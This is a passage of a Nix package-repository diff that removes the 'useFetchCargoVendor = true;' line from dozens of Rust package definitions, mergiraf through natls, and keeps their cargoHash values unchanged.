   cargoHash = "sha256-c+Nz3PH5a5CAG4HaIEz7U+b4rp6sgAuo+/uRL70/Tbs=";
 
   postInstall = ''
diff --git a/pkgs/by-name/me/mergiraf/package.nix b/pkgs/by-name/me/mergiraf/package.nix
index a1abc3ab407d..6d6d54379dfc 100644
--- a/pkgs/by-name/me/mergiraf/package.nix
+++ b/pkgs/by-name/me/mergiraf/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-nzWRMCIeZ1RmZO4v5UqX1JrbN1UjBHkl/bYaERCzfew=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9OjcEmed9nLM/fp6Qk/Gh9hTVnn5cqCxTUpAJUkI4/M=";
 
   nativeCheckInputs = [ git ];
diff --git a/pkgs/by-name/me/metadata/package.nix b/pkgs/by-name/me/metadata/package.nix
index f9232b849ae1..3017dd81cc14 100644
--- a/pkgs/by-name/me/metadata/package.nix
+++ b/pkgs/by-name/me/metadata/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-ugirYg3l+zIfKAqp2smLgG99mX9tsy9rmGe6lFAwx5o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CqPRhfhTAEXTXRAJ9T5gQZx5jAQmJXYPbfQmyXkO6Sk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mh/mhost/package.nix b/pkgs/by-name/mh/mhost/package.nix
index 436ac744cb4b..d9a79e4bdf92 100644
--- a/pkgs/by-name/mh/mhost/package.nix
+++ b/pkgs/by-name/mh/mhost/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-6jn9jOCh96d9y2l1OZ5hgxg7sYXPUFzJiiT95OR7lD0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-n+ZVsdR+X7tMqZFYsjsWSUr6OkD90s44EFORqRldCNE=";
 
   CARGO_CRATE_NAME = "mhost";
diff --git a/pkgs/by-name/mi/microbin/package.nix b/pkgs/by-name/mi/microbin/package.nix
index dc44e039ccd7..7031d46babce 100644
--- a/pkgs/by-name/mi/microbin/package.nix
+++ b/pkgs/by-name/mi/microbin/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fsRpqSYDsuV0M6Xar2GVoyTgCPT39dcKJ6eW4YXCkQ0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cQyb9KpmdJ2DB395Ce24JX8YcMLQn3fmeYZUo72L38s=";
 
   patches = [
diff --git a/pkgs/by-name/mi/microfetch/package.nix b/pkgs/by-name/mi/microfetch/package.nix
index e25ffe66ab86..076dbcf3a397 100644
--- a/pkgs/by-name/mi/microfetch/package.nix
+++ b/pkgs/by-name/mi/microfetch/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-WGr2qqxcbh7hotqPj8ZQbSB3E4qG5U2LEmqXx/aEc18=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/siuEdZeIk23aIagbjrd5cYvb5/xEdAq84PoSVLWz60=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/mi/microserver/package.nix b/pkgs/by-name/mi/microserver/package.nix
index af9f172fa69c..b0c159431c31 100644
--- a/pkgs/by-name/mi/microserver/package.nix
+++ b/pkgs/by-name/mi/microserver/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-VgzOdJ1JLe0acjRYvaysCPox5acFmc4VD2f6HZWxT8M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IPJJ9kv7gf5l7Y2JLCLjkNFao42h/VmkTd3LF5BCMLU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/mi/millet/package.nix b/pkgs/by-name/mi/millet/package.nix
index da0694ebe84f..ad0aa3be9127 100644
--- a/pkgs/by-name/mi/millet/package.nix
+++ b/pkgs/by-name/mi/millet/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Ffna9qsCTRHnUstgCDZxHweHteYVA/xiAtOkzCw2ltI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eQobRfvVdL68FeV/P/BL824sHEibC5eQoPeo6m6XJcI=";
 
   postPatch = ''
diff --git a/pkgs/by-name/mi/minesweep-rs/package.nix b/pkgs/by-name/mi/minesweep-rs/package.nix
index fb87f88b8ae9..43dbd5d89b41 100644
--- a/pkgs/by-name/mi/minesweep-rs/package.nix
+++ b/pkgs/by-name/mi/minesweep-rs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FzMCqsPBcbblItRzfnY43glY4We9jk0eBxjG0SZnau8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HO0eO6Ip508AIALS50exP2btLd3jUhM+giHQpMdsAVA=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/mi/mini-calc/package.nix b/pkgs/by-name/mi/mini-calc/package.nix
index 44973a67f9d7..27a985820ecc 100644
--- a/pkgs/by-name/mi/mini-calc/package.nix
+++ b/pkgs/by-name/mi/mini-calc/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-iLKW0ibsHZyAMYvux+CrOeJZCVMPE1HtWi0VBg96hr0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DMfk0F2HSFGoGM1+JCeDlPMOYBjRumc8KXzt0xsSbh0=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/mi/minidsp/package.nix b/pkgs/by-name/mi/minidsp/package.nix
index 0be81f52a4d5..da0f1092b100 100644
--- a/pkgs/by-name/mi/minidsp/package.nix
+++ b/pkgs/by-name/mi/minidsp/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8bKP9/byVRKj1P1MP3ZVg8yw0WaNB0BcqarCti7B8CA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JIm0XcgqXGPXlkQ1rhG5D38bQkQT9K44F71ZaCT2g8o=";
 
   cargoBuildFlags = [ "-p minidsp -p minidsp-daemon" ];
diff --git a/pkgs/by-name/mi/minijinja/package.nix b/pkgs/by-name/mi/minijinja/package.nix
index e35a49ab22e5..a5e10be3a35c 100644
--- a/pkgs/by-name/mi/minijinja/package.nix
+++ b/pkgs/by-name/mi/minijinja/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JPR9FRMVQH7DdYyFfh75g1BYDg8R9xCnigirGe8Xx1o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EInDnhUD29nZUOr2nBT4SuweMVad+RsS5eS767CvjRk=";
 
   # The tests relies on the presence of network connection
diff --git a/pkgs/by-name/mi/miniserve/package.nix b/pkgs/by-name/mi/miniserve/package.nix
index 36b2f3f5e609..406cfbf891e8 100644
--- a/pkgs/by-name/mi/miniserve/package.nix
+++ b/pkgs/by-name/mi/miniserve/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jrQnmIYap5eHVWPqoRsXVroB0VWLKxesi3rB/WylR0U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SosRbtk5gBcOVropy+HVFFmLLexu29GjchC6zFweiYw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mi/mise/package.nix b/pkgs/by-name/mi/mise/package.nix
index c3265e05d608..76fd81cbb7a4 100644
--- a/pkgs/by-name/mi/mise/package.nix
+++ b/pkgs/by-name/mi/mise/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-BNGjkWBw2RKHmZH5HYy7AGALaVLStXK91ilw9K8iO0U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1bbj66+h9gnXqpf55cprqzZ5Ld44dsfET3FldututR4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mi/mistral-rs/package.nix b/pkgs/by-name/mi/mistral-rs/package.nix
index c300e0964d51..3bfbd81c62d4 100644
--- a/pkgs/by-name/mi/mistral-rs/package.nix
+++ b/pkgs/by-name/mi/mistral-rs/package.nix
@@ -87,7 +87,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ./no-native-cpu.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YGGtS8gJJQKIgXxMWjO05ikSVdfVNs+cORbJ+Wf88y4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mi/mitm-cache/package.nix b/pkgs/by-name/mi/mitm-cache/package.nix
index 9c4e89bf3d55..30d026d57fe1 100644
--- a/pkgs/by-name/mi/mitm-cache/package.nix
+++ b/pkgs/by-name/mi/mitm-cache/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eY8mgmQB8wXQ7YJbLvdjXEEgGD+/RDywjvehJYf7ckE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DTPlPCumkVI2naYoNdO8T3pQNSawBA0FZ9LxVpqKqN0=";
 
   setupHook = replaceVars ./setup-hook.sh {
diff --git a/pkgs/by-name/mi/mitra/package.nix b/pkgs/by-name/mi/mitra/package.nix
index 068569310029..953162ea6dab 100644
--- a/pkgs/by-name/mi/mitra/package.nix
+++ b/pkgs/by-name/mi/mitra/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GKatTwdgBhhYtnKm+UNTJpcspG5pQBqHA616ELGGucg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-E6Sdu5QmALroJ6QLLy7QZOjieGut41lcoHwHuZftXvs=";
 
   # require running database
diff --git a/pkgs/by-name/mi/mixxc/package.nix b/pkgs/by-name/mi/mixxc/package.nix
index 6e82627ee64e..1d4f26b170b9 100644
--- a/pkgs/by-name/mi/mixxc/package.nix
+++ b/pkgs/by-name/mi/mixxc/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-9ZQjNhmQKMfEJsMMpUBI8C6ebfl9UI4yBt6f331tFXU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ng4Vbk00m66qdm0lMaQ5Ab56x3kZKq8NsCDMTPVnQ3c=";
 
   cargoBuildFlags = [ "--locked" ];
diff --git a/pkgs/by-name/mm/mmtc/package.nix b/pkgs/by-name/mm/mmtc/package.nix
index b7fbabd2f3f8..89cee8fde865 100644
--- a/pkgs/by-name/mm/mmtc/package.nix
+++ b/pkgs/by-name/mm/mmtc/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-gs6uytX4rm2JrJ4UbtHJDg+b+Z1ZjcsuUR0b13jQIy4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TpAl7lMaQGSH9oMNqYIxnajsfh1HAdyU2suSFRfWYPs=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/mm/mmtui/package.nix b/pkgs/by-name/mm/mmtui/package.nix
index 4407075258b9..732117b1dc8c 100644
--- a/pkgs/by-name/mm/mmtui/package.nix
+++ b/pkgs/by-name/mm/mmtui/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
   };
 
   cargoHash = "sha256-9F1YMepkWksTQRrkziNhLxVJnhoDH17lSKef5kOjp3Y=";
-  useFetchCargoVendor = true;
 
   nativeBuildInputs = [
     rustPlatform.bindgenHook
diff --git a/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix b/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
index 42224a081cec..c744a2168ff0 100644
--- a/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
+++ b/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-1+Fmc8qyU3hCZmRNgp90nuvFgaB/GOH6SNc9AyWZYn0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6hEnXzaL6PnME9s+T+MtmoTQmaux/0m/6xaQ99lwM2I=";
 
   pnpmDeps = pnpm.fetchDeps {
diff --git a/pkgs/by-name/mo/mollysocket/package.nix b/pkgs/by-name/mo/mollysocket/package.nix
index 1f3b5add9fed..024570f2f91f 100644
--- a/pkgs/by-name/mo/mollysocket/package.nix
+++ b/pkgs/by-name/mo/mollysocket/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-F80XRQn3h1Y6dE8PVLGMTY29yZomrwqFAsm7h8euHw8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BgmgxNxyuEXKLO9yoymJ0PUfL6/YSegGk8OMPjup/zo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mo/monocle/package.nix b/pkgs/by-name/mo/monocle/package.nix
index dda720c31345..0b80335532fe 100644
--- a/pkgs/by-name/mo/monocle/package.nix
+++ b/pkgs/by-name/mo/monocle/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-vpGCYU/vW4cQFuAWxa+ZkuKLB4NSs5tPW2iWVE8iPAk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1wouA1REbPHm/v4ZB76gfgDPweNV3nztf6XxKdu42GQ=";
 
   # require internet access
diff --git a/pkgs/by-name/mo/monolith/package.nix b/pkgs/by-name/mo/monolith/package.nix
index 0b3fce941328..36c5cea181bd 100644
--- a/pkgs/by-name/mo/monolith/package.nix
+++ b/pkgs/by-name/mo/monolith/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7D/r9/uY1JcShKgfNUGVTn8P5kUAwUIa/xBbhpReeNw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rIwlNXe7me3Ehj1EIYiOYo12FQqovmZT0ui58gFRWWw=";
 
   OPENSSL_NO_VENDOR = true;
diff --git a/pkgs/by-name/mo/moon-phases/package.nix b/pkgs/by-name/mo/moon-phases/package.nix
index 2ace48150108..81ae0d182315 100644
--- a/pkgs/by-name/mo/moon-phases/package.nix
+++ b/pkgs/by-name/mo/moon-phases/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8ZdtM246aqc49Q3ygMGk51LIzRA8RIdlaistbKUj3yY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8Ada1KBGO1q61dg+4NMJ1Sbipr3ATSP5PO14oQ/QWGs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/mo/moonfire-nvr/package.nix b/pkgs/by-name/mo/moonfire-nvr/package.nix
index b661f9a1f07e..6ea4fd50c06d 100644
--- a/pkgs/by-name/mo/moonfire-nvr/package.nix
+++ b/pkgs/by-name/mo/moonfire-nvr/package.nix
@@ -49,8 +49,6 @@ rustPlatform.buildRustPackage {
 
   sourceRoot = "${src.name}/server";
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-+L4XofUFvhJDPGv4fAGYXFNpuNd01k/P63LH2tXXHE0=";
 
   env.VERSION = "v${version}";
diff --git a/pkgs/by-name/mo/moproxy/package.nix b/pkgs/by-name/mo/moproxy/package.nix
index 32a35d159f7d..d519642970a2 100644
--- a/pkgs/by-name/mo/moproxy/package.nix
+++ b/pkgs/by-name/mo/moproxy/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Rqno+cg44IWBJbKWUP6BnxzwCjuNhFo9nBF6u2jlyA4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SJHsXck2f9xJZ4GmOkISjdfqxlF4LCAH9WYjqSqFFkE=";
 
   preBuild =
diff --git a/pkgs/by-name/mo/morsel/package.nix b/pkgs/by-name/mo/morsel/package.nix
index b6dabc4b4029..b887bd1854cf 100644
--- a/pkgs/by-name/mo/morsel/package.nix
+++ b/pkgs/by-name/mo/morsel/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bb+88GIyd92kHJAs25mJ9vmq0Ha2q0fdHnpTXhX2BFE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3rwYD49yq3apKOGBSWvTm5m98ImbtTKqRb2cSgjWmFA=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/mo/motoc/package.nix b/pkgs/by-name/mo/motoc/package.nix
index 2ef67ed8f787..ff1c38554986 100644
--- a/pkgs/by-name/mo/motoc/package.nix
+++ b/pkgs/by-name/mo/motoc/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CAKgh9uddDhaFp2O62o1nNZ/ZWJbCR/7dMaI9V992Xk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-RDzPvHlXuNLv3GiaGSYCyvbhdmxQkjUtwPq/e5NloOg=";
 
   buildInputs = [
diff --git a/pkgs/by-name/mo/mountpoint-s3/package.nix b/pkgs/by-name/mo/mountpoint-s3/package.nix
index 113178672eb1..870665bba217 100644
--- a/pkgs/by-name/mo/mountpoint-s3/package.nix
+++ b/pkgs/by-name/mo/mountpoint-s3/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zDgAGOuK0Jkmm554qZsaA/ABFhuupJ+WToO8HSPp7Xc=";
 
   # thread 'main' panicked at cargo-auditable/src/collect_audit_data.rs:77:9:
diff --git a/pkgs/by-name/mo/mouse-actions-gui/package.nix b/pkgs/by-name/mo/mouse-actions-gui/package.nix
index 5fbec12b2293..58c03bee4c2f 100644
--- a/pkgs/by-name/mo/mouse-actions-gui/package.nix
+++ b/pkgs/by-name/mo/mouse-actions-gui/package.nix
@@ -58,7 +58,6 @@ rustPlatform.buildRustPackage rec {
   cargoRoot = "src-tauri";
   buildAndTestSubdir = cargoRoot;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-G5PQWPcPOVhq11BQIplbB3mLAGFCVm+vQ4eM4/5MFwI=";
 
   postInstall = ''
diff --git a/pkgs/by-name/mo/mouse-actions/package.nix b/pkgs/by-name/mo/mouse-actions/package.nix
index 0af970b8bc82..f3c4c58f42c0 100644
--- a/pkgs/by-name/mo/mouse-actions/package.nix
+++ b/pkgs/by-name/mo/mouse-actions/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-44F4CdsDHuN2FuijnpfmoFy4a/eAbYOoBYijl9mOctg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3ylJSb6ItIkOl5Unhnm5aL83mQvWIM0PUg+1lMtUbPY=";
 
   buildInputs = [
diff --git a/pkgs/by-name/mo/movine/package.nix b/pkgs/by-name/mo/movine/package.nix
index 0539ec1e8bf5..ce89367a79ac 100644
--- a/pkgs/by-name/mo/movine/package.nix
+++ b/pkgs/by-name/mo/movine/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wa2GfV2Y8oX8G+1LbWnb2KH/+QbUYL9GXgOOVHpzbN8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sdyx2W9VUp1cBl19fFL2JDS+uS12zaC50yYzHaLOnHs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mo/moxide/package.nix b/pkgs/by-name/mo/moxide/package.nix
index ac4bcca54a5f..f9df7a91118a 100644
--- a/pkgs/by-name/mo/moxide/package.nix
+++ b/pkgs/by-name/mo/moxide/package.nix
@@ -7,7 +7,6 @@ rustPlatform.buildRustPackage rec {
   pname = "moxide";
   version = "0.2.0";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nHp5KSU1mzsr3t8diREhs5fbxrJcJaEpciZNKCkmp5A=";
   src = fetchFromGitHub {
     owner = "dlurak";
diff --git a/pkgs/by-name/mo/mozwire/package.nix b/pkgs/by-name/mo/mozwire/package.nix
index 081f399a73db..5e85caf9f3eb 100644
--- a/pkgs/by-name/mo/mozwire/package.nix
+++ b/pkgs/by-name/mo/mozwire/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2i8C1XgfI3MXnwXZzY6n8tIcw45G9h3vZqRlFaVoLH0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UEo/CSRg1hS/BIEQTEgqfwwz1LAMDdjKwV8bDyspX7o=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/mp/mpd-discord-rpc/package.nix b/pkgs/by-name/mp/mpd-discord-rpc/package.nix
index 51578dd19063..fdde8cb46446 100644
--- a/pkgs/by-name/mp/mpd-discord-rpc/package.nix
+++ b/pkgs/by-name/mp/mpd-discord-rpc/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-RuXH0RaR0VVN7tja0pcc8QH826/JzH4tyVVCbrK7ldI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ewmg5t0JljnvxjrGDJzokRwndv7UNw9NMQ7Cx6oDWjg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mp/mpris-notifier/package.nix b/pkgs/by-name/mp/mpris-notifier/package.nix
index 0bb272ac6609..4297323b99db 100644
--- a/pkgs/by-name/mp/mpris-notifier/package.nix
+++ b/pkgs/by-name/mp/mpris-notifier/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SD37JFbfg05GemtRNQKvXkXPAyszItSW9wClzudrTS8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5LDhxciLpDYd4isUQNx8LF3y7m6cfcuIF2atHj/kayg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/mp/mprocs/package.nix b/pkgs/by-name/mp/mprocs/package.nix
index 7bc29e3aab38..259e2b71334a 100644
--- a/pkgs/by-name/mp/mprocs/package.nix
+++ b/pkgs/by-name/mp/mprocs/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bNA+P6Mnhxi6YH5gAUwvAPN7STUvwDnU/r/ZBYwzgrw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-UnrwAff7Eer5Bpn2CTL2XOyM8J2Z2xofcH6d9eTr2yQ=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/mp/mpv-subs-popout/package.nix b/pkgs/by-name/mp/mpv-subs-popout/package.nix
index 9f1d5d11fdea..3b5adb15a2c0 100644
--- a/pkgs/by-name/mp/mpv-subs-popout/package.nix
+++ b/pkgs/by-name/mp/mpv-subs-popout/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Z8IWiYKitkbEFdjca5G6P0I6j4Fg2fIHco6fD90UoBw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-n7e3VrnueU7Lsj/FwM0aC9ThTqUlq27SS3RKugduwEA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mq/mqttui/package.nix b/pkgs/by-name/mq/mqttui/package.nix
index 8a0f001b1788..d6d069fd4bda 100644
--- a/pkgs/by-name/mq/mqttui/package.nix
+++ b/pkgs/by-name/mq/mqttui/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wKqIDKng4pfqDuYtqFRh3UIeZQ4QzzFlLkQn5MXcVlU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gk5nA6np7dK4+j26aySNWfMZ9t/+7nZRaPsnhlDEnes=";
 
   meta = {
diff --git a/pkgs/by-name/mu/mujmap/package.nix b/pkgs/by-name/mu/mujmap/package.nix
index bda3f618763f..26f99db788da 100644
--- a/pkgs/by-name/mu/mujmap/package.nix
+++ b/pkgs/by-name/mu/mujmap/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-Qb9fEPQrdn+Ek9bdOMfaPIxlGGpQ9RfQZOeeqoOf17E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LyiJYKhoSXVf1P+nu56Wgp+z8biPpt0tWgPZQrB2NNQ=";
 
   buildInputs = [
diff --git a/pkgs/by-name/mu/mum/package.nix b/pkgs/by-name/mu/mum/package.nix
index 1c1188f2f349..70f8ceb77a57 100644
--- a/pkgs/by-name/mu/mum/package.nix
+++ b/pkgs/by-name/mu/mum/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-r2isuwXq79dOQQWB+CsofYCLQYu9VKm7kzoxw103YV4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ey3nT6vZ5YOZGk08HykK9RxI7li+Sz+sER3HioGSXP0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mu/mus/package.nix b/pkgs/by-name/mu/mus/package.nix
index be31118ea359..63482b602d14 100644
--- a/pkgs/by-name/mu/mus/package.nix
+++ b/pkgs/by-name/mu/mus/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-yvMV+lhU9Wtwrhw0RKRUNFNznvZP0zcnT6jqPaqzhUs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1ruRKqHW5/MH4THRAozofAROZT6zE3JFKGluuWWa1ms=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/mu/muso/package.nix b/pkgs/by-name/mu/muso/package.nix
index 029d728a7305..985f092e8953 100644
--- a/pkgs/by-name/mu/muso/package.nix
+++ b/pkgs/by-name/mu/muso/package.nix
@@ -33,7 +33,6 @@ rustPlatform.buildRustPackage rec {
     cp share/* $out/share/muso/
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-L0ZQoz9J5Hxg98puk1RbKuybLboIoOsy5qqGnvEPi1U=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/mu/muvm/package.nix b/pkgs/by-name/mu/muvm/package.nix
index 8860436d4e57..3ec354ad0e08 100644
--- a/pkgs/by-name/mu/muvm/package.nix
+++ b/pkgs/by-name/mu/muvm/package.nix
@@ -61,7 +61,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1XPhVEj7iqTxdWyYwNk6cbb9VRGuhpvvowYDPJb1cWU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fkvdS0c1Ib8Kto44ou06leXy731cpMHXevyFR5RROt4=";
 
   postPatch = ''
diff --git a/pkgs/by-name/my/mycelium/package.nix b/pkgs/by-name/my/mycelium/package.nix
index 9ca9a72bc0f7..d1b69d28e244 100644
--- a/pkgs/by-name/my/mycelium/package.nix
+++ b/pkgs/by-name/my/mycelium/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-DP6gCTuWraCwprY5C0JlTR1VrOwrOnUMSVxuPSVMjo0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5TyJNYBTULSu886D+vy8YRh50oFBubNZ9KkMu1/PvgU=";
 
   nativeBuildInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/my/myxer/package.nix b/pkgs/by-name/my/myxer/package.nix
index d1212b43900e..47b763c1fa0c 100644
--- a/pkgs/by-name/my/myxer/package.nix
+++ b/pkgs/by-name/my/myxer/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-c5SHjnhWLp0jMdmDlupMTA0hWphub5DFY1vOI6NW8E0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ETwbNxAxm3m73FSTSZPF1eoheZ2o9/3GrEIOTeh2XDk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/n2/n2/package.nix b/pkgs/by-name/n2/n2/package.nix
index 3e581b5cfcbd..4278bac0ebda 100644
--- a/pkgs/by-name/n2/n2/package.nix
+++ b/pkgs/by-name/n2/n2/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-eWcN/iK/ToufABi4+hIyWetp2I94Vy4INHb4r6fw+TY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LTgAaTQXW0XEbe+WS47pqSb+eU7FqjdTSO2++C3J5aM=";
 
   meta = {
diff --git a/pkgs/by-name/na/namaka/package.nix b/pkgs/by-name/na/namaka/package.nix
index 4fc7b64d756d..ee2e337c3eb3 100644
--- a/pkgs/by-name/na/namaka/package.nix
+++ b/pkgs/by-name/na/namaka/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1ka+5B90UAt7D5kkT9dOExGLJjtLM8dqLeBdFRoeuWg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0Hblz7Ri7QxWXDz9z235cNUYb0W/2IPA7E4AreisY9c=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/na/narrowlink/package.nix b/pkgs/by-name/na/narrowlink/package.nix
index c67aaa36d62d..63995821b678 100644
--- a/pkgs/by-name/na/narrowlink/package.nix
+++ b/pkgs/by-name/na/narrowlink/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-O66eihqSxwvrUfJj+VMrs7Vfndz2LPKQEnH7BDljvUg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NjL5A+HEz7WDsTcwAGj1g+Brs4JYsU1kl0OZfTfoBN0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/na/natls/package.nix b/pkgs/by-name/na/natls/package.nix
